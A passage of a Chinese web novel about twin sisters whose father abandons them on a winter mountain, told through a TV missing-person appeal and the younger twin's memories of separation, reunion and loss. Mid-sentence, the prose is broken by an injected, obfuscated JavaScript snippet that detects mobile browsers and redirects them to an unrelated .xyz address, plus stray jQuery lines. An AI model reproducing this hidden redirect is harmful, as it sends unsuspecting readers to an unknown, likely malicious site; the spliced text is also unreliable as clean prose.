我在酒店里待了三天。
将近年关,街道上变得热闹了许多,车辆和人流来来往往,车水马龙,喧闹繁杂。
连酒店的大堂也布置成了过年的模样,贴起了红对联,挂起了红色中国结,打眼望去,大片大片的红。红得有些扎眼。
我穿过大堂打算按电梯上楼,大堂柜台的小妹突然叫住了我。
我走了过去,她笑眯眯地给了我一把糖。
“酒店老板娘结婚,给您一把。”
我道了声谢谢。
她看着我:“后天就是除夕夜了,您过年不回家吗?”
其实我家就在距离我5km不到的地方,但我不打算回去。
我摇了摇头:“不回去了。”
“这样,那您等会儿。”
她这么说着,就踩着高跟鞋跑开了。
我在前台等她等得无聊,瞥了一眼正在播放的电视新闻。
是一则寻亲新闻。
最近在电视上频繁地见到寻亲新闻。
早年儿童拐卖一度非常猖獗,尤其在南方小城市,基本很多儿童都从小被家长耳提面命,陌生人搭话或者给糖一定不能理会。
从此在孩子们的心里,陌生人约等于人贩子,有人搭话就跑远,看到面包车就要远离。
新闻上面报道说,有一对父母在寻找18年前走丢的一对双胞胎女儿。
18年前,大约是90年代,父母只有一张女儿们的黑白照片,正好是在生日那天照的,两个双胞胎女儿手牵着手,对镜头笑得一脸灿烂。
父亲在镜头前哭着说,家里除了这对女儿还有一个小儿子,小儿子去年车祸意外去世,妻子一病不起,一直在念叨着走失的双胞胎女儿,妻子已经时日无多,最后的遗愿就是想找到女儿,再见一面女儿。
他对镜头展示着女儿们唯一的黑白照片,说女儿名字叫王晨和王夕。希望有见过的好心人提供线索。
然而已经十七年过去了,凭着一张黑白照片找人,简直无异于大海捞针。
我盯着那张黑白照片看得出神,前台小妹什么时候回来了我都没发觉。
她递给我一盒精致的礼盒,说是酒店赠送的,祝我新年快乐。
我笑着说了声谢谢,转头从前台离开,耳边还依稀回荡着那位母亲低低的哭声。
我走进了电梯,心里很平静,甚至不起一丝波澜。
既然如此,当初又为什么要丢掉孩子?
什么走失,统统都是假的。
明明是父母抛弃了孩子。
骗女儿们要出去玩,骑上三轮车,带着两个女儿,来到了千里之外的地方,在寒冬腊月的夜里,植物的叶上都凝结了一层雪白的霜,把两个女儿带上山,说要砍柴,然后再趁女儿们不注意偷偷下山,把两个刚过五岁生日的女儿抛弃在冬日的大山里,抛弃在野兽出没的深山里。
如果不是想要她们死,没有第二种解释。
那天夜里很冷,冻得人都失去知觉,女儿们发现父亲跑走了,就急忙在后面追,她们喊着父亲的名字,大声喊着,四处黑暗的深山如同四面回音壁,不断回荡着她们的声音。
连山都听见了,可她们的父亲并没有听见。
她们跑啊跑,企图追上父亲的背影,然而父亲的背影却越来越小,最后嗖地一下,消失在了黑暗中。
她们跑累了。在原地喘着气。
她们并不知道,她们其实是被抛弃了。
她们也不知道,原来在这个世界上,有人的出生即是原罪。
女儿,还是双胞胎。
注定成为一个不富裕的家庭的眼中钉,肉中刺。
奶奶的白眼,父亲的叹气和母亲的眼泪。
是她们来到这个世界上,世界送给她们的三个礼物。
姐姐爱着妹妹,虽然她们出生时间只差一分钟,甚至更少,然而她们从诞生的那一刻起,就和彼此同享一个温室,她们注定无比亲密,任何的一切都无法将她们分开。
姐姐看着妹妹,就像看着另一个自己。
她像以前无数次一样,安慰妹妹,我们一定会走下山的。
于是她们走走停停,最后停在了半山腰,天边已经渐显鱼肚白,另一个清晨即将要到来。
妹妹走不动了,她坐在路边,说口渴,想喝水。
这深山里哪里有水?
姐姐很发愁,她想劝妹妹再忍忍,等下山了再喝水,但妹妹精疲力竭,口干舌燥,疲惫和无助一齐涌了上来,她坐在路上哭了起来,说现在就想喝水,不然走不动了。
姐姐无奈,只好叮嘱妹妹一定要在原地等她,她出去找水,很快就回来。
妹妹连忙答应下来。
姐姐一步三回头,生怕妹妹不见了。
然而,妹妹在原地等啊等,从天边泛白的破晓等到了漫天金光的朝霞,她看着朝霞慢慢被云朵遮住,还没等到姐姐回来。
她着急了。
她来回不断地踱步,最后她等不住了,踉踉跄跄地迈起步伐往下走。
刚下了几个台阶,就撞见了一个扛着锄头往上走的男人。他手里拿着一大瓶水。
妹妹早已忘了父母姐姐曾和她说过的话,此时此刻,生存的本能已经压过了一切,她无法拒绝基因里对水源的渴望。
所以她问,能不能给我喝点水?
命运就此分岔。
在此后的十二年里,妹妹一直以为是姐姐抛弃了她,就像父母抛弃了她们一样,姐姐也嫌她累赘,把她抛弃了。
也或许,这一切都是父母和姐姐一起策划的。
她曾听过母亲和父亲的谈话。
父亲说,家里两个女儿,太多了,没什么用,多了两双筷子就要多负责两个人的量。
母亲说,最起码也要养到成年吧。
父亲说,有什么用,现在的彩礼就那么点,不够给小龙娶媳妇的,小晨倒是乖一点,小夕太闹了。
母亲没说话,只是一如既往地沉默着。
年幼的她不能够完全理解大人的谈话,但她敏感地捕捉到了父亲对她的厌恶。
她害怕被抛弃,于是从那天开始,她努力地帮忙去做家务,可是她笨手笨脚,还打碎了两个碗,直接被父亲一顿暴打,那天被关在柴房里,一粒米都没吃到。
柴房又暗又闷,她只能小声地捂住嘴哭着。
姐姐偷偷跑到柴房给她送了个馒头,看着她狼吞虎咽地嚼着馒头,姐姐伸出手摸了摸她的头,然后轻声说,以后你什么都不用做,我来做就行了。
她觉得很委屈,又委屈又郁闷,明明姐姐和自己一样大,为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456740|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么姐姐那么懂事乖巧,事事都做得好,而自己却什么也做不好,天天被嫌弃。
姐姐笑了笑,说没事,小夕只要开心就好了。姐姐会保护小夕的。
姐姐的那句话一直铭刻在她的心里。
然而那十二年以来,她早已淡忘了一切,唯独固执地认为自己被所有人,包括姐姐抛弃了。
她恨所有抛弃她的人,恨之入骨。
她十二年来鲜血淋漓地活着,都凭借着那股顽强的恨意。恨意让她成长,恨意让她强大。
直到她再一次见到了失散多年的姐姐。
已经十二年过去了,但她还是在见到姐姐的第一眼就认出了她。
那双和自己一模一样的眼睛,她怎么可能认错?
但她并不想上前认她。
因为她看见了姐姐和自己截然不同的生活,她的恨意又重新蠢蠢欲动起来,这种恨意还掺杂着微妙的嫉妒。
凭什么?凭什么我被抛弃,而你可以过得这么好?
所以她只是不动声色地拉了拉口罩。
她觉得自己本该恨她的。
可是当她看见姐姐身上的疤痕,看见姐姐的眼泪,她发现,原来自己根本不恨她。
所谓的恨意全是假的。是个一戳就破的谎言。是她虚张声势的惶恐。
她爱她。
所以那些伤痕,那些眼泪,那些痛苦,都一同流入了她的心里,她的身体里,就像本来就存在那般,自然而然。
爱意原来就在那里,从来不需要费力提取,它只是存在着。
她忘了,这么些年,她的颠沛流离,在看见姐姐的那一刻,她觉得都不重要了。
姐姐认出她的时候,她的心里是窃喜的。
她看着姐姐愣住的眼神和表情,扬起了脸。
这么多年,我还是找到你了,是不是很厉害?她说。
姐姐失笑,说果然很厉害,就像小时候每次捉迷藏,你每次都能找到我。
她也笑了,她真的觉得自己很厉害,每次捉迷藏,都能准确找到姐姐藏到哪里。
可是她从来没有认真想过,那不过是因为,姐姐想要让她找到罢了。
就像一开始,她拉了拉口罩,和姐姐隔空对望的那一眼,其实姐姐早已认出了她。
这个世界上,怎么会有人认不清镜子里的自己呢?
她原本以为,这样的日子可以持续很久。
她重新拥有了自己的亲人,甚至还有朋友。
就好像逝去已久的童年又重新拥抱了她。
可是,在夏日来临之前的暴雨夜,她再次失去了姐姐。
这一次,姐姐躲得太好了,无论她怎么找,找了多少年,都找不到那个熟悉的身影。
就好像,她真的从这个世界上消失了,悄无声息,如一滴水融入大海。
姐姐对她说,活下去。
她代替姐姐活下去,接过了姐姐所有的,未完成的复仇。
从此之后,她成了姐姐的影子。
在那个暴雨夜,她往回走,雨滴打在她身上,很痛。
她想,姐姐应该是自由了。
我应该为她感到高兴。
也许她根本不想当谁的姐姐,谁的女儿,她只想当她自己。
那就祝她成为她自己。